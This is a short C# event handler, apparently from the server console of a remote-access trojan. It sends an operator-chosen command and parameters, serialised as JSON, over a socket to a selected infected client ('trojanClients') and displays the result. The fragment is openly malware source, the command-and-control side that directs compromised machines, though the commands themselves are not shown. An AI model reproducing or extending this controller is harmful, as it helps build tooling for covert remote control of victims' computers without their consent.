async void SendMessage(object sender, EventArgs e) { int clientId = serverGUI.GetClientId(); int commandId = serverGUI.GetCommandId(); if (clientId >= 0 && commandId >= 0) { var trojanClient = trojanClients[serverGUI.GetClientId()]; var client = trojanClient.Client; // Get a stream object for reading and writing string output = ""; if (commandId == 2) { ComplexCommand command = new ComplexCommand(commandId); command.Parameters.Add(serverGUI.GetFirstParameter()); command.Parameters.Add(serverGUI.GetSecondParameter()); output = JsonConvert.SerializeObject(command); } else { Command command = new Command(commandId, serverGUI.GetFirstParameter()); output = JsonConvert.SerializeObject(command); } SendOnSocket(client, output); await ReceiveFromSocket(client, serverGUI.DisplayOutput); } else { serverGUI.DisplayOutput("Select a client and a command."); } }